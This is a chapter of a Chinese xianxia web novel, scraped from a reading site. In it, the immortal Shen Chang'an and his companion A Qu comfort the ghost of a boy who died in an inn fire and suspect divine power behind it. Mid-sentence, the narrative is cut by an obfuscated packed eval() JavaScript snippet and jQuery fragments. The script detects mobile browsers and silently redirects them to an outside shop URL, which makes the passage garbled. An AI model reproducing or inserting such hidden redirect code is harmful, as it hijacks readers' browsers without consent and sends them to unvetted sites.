默认冷灰
24号文字
方正启体

4. 你是怎么看见他的

作者:水清不见鱼本书字数:K更新时间:
    此起彼伏的叫卖声中,沈长安反手抓着阿祛的手腕沿路奔去,一路小心闪避各类货摊,眼见都快跑到集市口,还是险些撞到要进去买东西的老人家。


    这样年纪的人身子骨脆弱,怕出问题,沈长安只得先停下来查看:“实在对不住,您没事吧?”


    老人家摇摇头,抬眼倒把他认了出来,看了看沈长安身后的陌生面孔疑惑道:“沈大夫?您怎么跑这儿来了,出诊啊?”


    沈长安时常活跃在镇子里出诊采药,有人认识也不稀奇,但他也不好开口让百姓帮忙寻找一个魂灵,只得答:“那边人多,我就是来这里随便走走。”


    老人家听罢凑到跟前,视线瞟着一旁的客栈,神神秘秘地压低声音:“可不能在这里,晦气得很!”


    沈长安顺着看去,那就是镇上常见的临街客栈,一楼客座,二楼客房,只是空无一人,连掌柜的都不知去向。房间离地足有两丈高,拦着有些焦黑的矮木栏杆。但经老人家这么一说,和刚刚的场景相比,这里确实过于冷清了些,就追问道:“这里发生了什么事?”


    “就昨天哟,死人了。”老人家伸手指向那看着并不牢靠的栏杆:“听说就是从那儿摔下来的”


    林丘,享年七载,生辰当日坠亡。


    “一小一大,母子俩。”


    兄长早亡,随母奔波,居无定所。


    “神仙保佑,真是作孽哟——”


    每说一句,沈长安就会记起善恶笺上对应的话,他有种极为不祥的预感,后面老人家再说什么,沈长安都听不进去,含糊应付几声后好不容易将人打发走,忙带着阿祛迈入厅堂,连接二楼的梯子发出不堪重负的闷响,离得越近,越能闻到那股挥之不去的糊味。


    一间间房查过去,沈长安终于在二楼尽头的小屋里发现正躺在废墟中嚎哭的林丘。


    “长安…哥哥?”林丘泪眼朦胧地哑声唤他,小拳头紧紧攥着,不住地捶腿哽咽道:“都是我害的,对不对?”


    沈长安被这么问,一时不知道如何回答。就在这时候,阿祛却突然越过他上前,坐在林丘面前,缓慢地问:“你、害的?”


    林丘看着阿祛身上散出的盈盈光芒,也逐渐道:“阿娘…生辰日…火……”


    阿祛极有耐心,点着头又问:“火、哪里、来?”


    “阿娘…做饭…怪风…亮了……”


    沈长安听着就觉出问题了,按这间房所处位置,背风处立着的烛台怎么也不会被吹倒引起火灾,还能恰好把出口堵个严实,让母子俩不得不跳楼逃生。


    那怪风会是什么?巧合?意外?还是…其他的力量?


    他伸出手按在斑驳墙壁上试着感受,这里竟然有极淡的仙力残存,而且非常纯粹,力量怕是在他之上。


    沈长安自知,自己不过是众神创出凌霄界后随手用化灵柳造出来的奴仆,说好听点叫散仙,不好听就是打杂的。远高于他且还能使用仙力的,只可能是正仙和神的级别。


    可他们为什么要施法把烛台掀翻?沈长安想不明白。


    “那你、阿娘、呢??”阿祛还在耐心地引导,希望林丘能说出更多话来。


    “睡觉…叫不醒…好多人……”


    沈长安粗略拼凑一番,也大概明白了林丘的意思。他原本想出去找人,但是他太小了,门口有烟堵着出不去。他很难受,阿娘也叫不醒,他只能越过那个栏杆,想要用自己的身躯引起大家的注意。在闭上眼之前,他看到了好多人。


    所以哪怕当时魂灵飘到沈长安门口时,林丘都以为阿娘得救了,觉得自己的死亡是有意义的。如今却得知阿娘紧随其后,他一个小孩子如何接受得了。


    沈长安伸手拍了拍阿祛的肩膀,示意已经足够了,不需要再问了。


    眼下善恶笺无法召出,沈长安无法查到林丘阿娘的魂灵所处位置,但最后理应都会到他的小屋附近徘徊才是,总能有机会让他们母子再见一面。


    林丘终于不再哭了。


    他站在曾经摔落的地方,出神地望向地面,那里后来应该被重新修缮过,依稀记得当时这片地上还是碎石子路,如今都换成了整齐的青石板,或许就是为了遮盖地上的血迹。


    看着看着,林丘忽然记起娘亲被赶出来没有活计做后,带着他去登云梯吃贡品的日子。


    因为习俗原因,祭祀挑在雨天进行,鸡鸭总被雨泡坏,他吃了闹肚子。阿娘就会把他抱在膝上,用温热掌心揉着小腹,还要哄着,哼歌给他听,他嫌难听,总会捂着耳朵笑出声。


    阿娘就会佯装生气道:“总是笑我,等你长大,再想听娘也不给你唱了!”


    那时候林丘根本没当回事,他觉得长大了就会有出息,到时一定要装着很多银两,带着阿娘去听别人唱不跑调的歌,再叫阿娘学会了唱给他听。


    其实现在想想,阿娘唱的歌也没那么难听。


    “大家都说拜了神能吃饱。”林丘吸了吸鼻子,开了口:“我和阿娘拜过的,还是吃不饱。”


    “神仙真的会保佑我们吗?”林丘把头转了回来,本就缥缈的魂灵此刻愈发透明,好像一阵风就能吹散,即使这样,他仍是不甘心地问:“长安哥哥,你是不是悄悄的保佑了我们,但是不让我们知道?”


    他的眼眶还是红的,泪已经哭干了。说完这句话,他又指着一边的阿祛:“他呢?他身上有光,也是神仙吗?”


    沈长安不知道该先回答哪个问题,他走到如今,每一步路好像都不由自己,他甚至开始思考自己到底是不是真的想要成神。如果想成神,是要借用神力帮助林丘这样的人,还是只为了满足自己?可如果不想成神,那他现在是在干什么,为了保命,需要更强大的力量,所以不得不努力?


    他抿了抿唇,本能地看了看阿祛。后者就静静站在身侧,并没有什么所谓的光芒。


    林丘魂灵本来就不稳,此刻又经历这种程度的情绪波动,沈长安有些担心他会不会魂飞魄散,或者干脆化成厉鬼。前者的确有些唏嘘,可若是后者,他就得亲自动手杀了这个孩子。


    他显然不想这样做。


    以帮林丘找出真相为由头,沈长安总算是把林丘从客栈二楼拉了下来。一个失魂落魄,另外两个各怀心事,等再回到家已经临近傍晚,林丘跑到小桌后就抱膝把头埋了进去,沈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17502400|202817||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    长安看在眼里,主动提出今晚他要在另一张桌案上睡。


    面对阿祛的目光,沈长安解释道:“他现在心中烦闷,需要人陪着,我在这里睡觉,在他难受的时候还可以抱抱他。”


    阿祛就没再多问,乖乖自己睡了。


    夜色渐浓,林丘没了动静,沈长安分辨不出这是睡了还是沉浸在悲伤中的表现,他困得手中医书都掉在地上好几次,硬是靠着嚼薄荷叶多撑了一段时间。


    恍惚朦胧中,沈长安听到门边传来轻微响动,紧接着是刻意放轻的脚步声。


    是什么人…?来找他看病的吗?


    可他眼皮好沉,实在睁不开。


    沈长安用尽全力也只能勉强眯起一道缝。他看到有个人,正在挨个翻他那些密密麻麻的药柜。


    那个人脸上,蒙着沈长安许久未见的黑布。


    紧接着他就支撑不住,彻底陷入黑暗了。


    再有意识时肩膀一重,是阿祛过来搭了条毯子,他搭完也不走,就乖乖坐在一旁小凳上等着他醒。


    “怎么了…你有话想跟我说吗?”沈长安艰难地揉着眼睛想让自己清醒过来,他透过窗户看向外面,判断着此刻应该是接近卯时,快要日出了。


    林丘身形也已经舒展开来,睡得香甜。


    阿祛并未回答他的话,只是抬起手摊开掌心,露出里面躺着的小小花种。那颗花种在阿祛掌心中漂浮竖立,前端裂了口子,两片新嫩绿芽探出来,迫不及待地向两边舒展,有道浅色碧光萦绕,最后慢慢隐在阿祛体内。


    沈长安登时睡意全无。


    “这个,哪里来的?”


    阿祛只展示了一下就把种子收了回去,沈长安见他认真,只得把脑子里的画面粗略讲了一遍,阿祛听完更加不解看着他:“你是说、你孤身上山遭遇、土匪劫道、他们用刀砍伤、你后就走了、你在尸体身下、发现了这个、东西?”


    沈长安觉得虽然他确实有所隐瞒,但重点没错,便点了点头:“就是在登云梯的那座山上,你去过吗?”


    阿祛摇摇头。


    沈长安便道:“我确实没有骗你吓唬你,你光听这种子的来历这么不一般,保不齐是赃物,你还是尽早给我,免得惹来杀身之祸。”


    阿祛对后面这些话恍若未闻,只问:“那你一直,一个人吗?”


    沈长安没有反应过来:“还能有谁?”


    阿祛不说话了,丝毫没有想还种子的意思,于是沈长安也就没再开口。


    说来看阿祛这样似乎是能和种子共鸣,甚至汲取其蕴含的磅礴灵力为己所用。这跟他借用渡厄刃神力的方法有些类似,可沈长安在后来也尝试过,他能感觉到阿祛身上并没有仙骨,确实仅有极为微弱的仙气。


    而且这仙气肯定是自己的没错。


    那阿祛是怎么做到可以治愈神器留下的伤口的?这人是天纵奇才?


    “阿祛,我…”


    沈长安还想再问,突然想到什么,瞳孔骤缩。


    林丘是个魂魄,寻常人根本看不见。如果阿祛真是人,他又是如何能准确地坐在林丘身边,引导着林丘把话说出口的?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)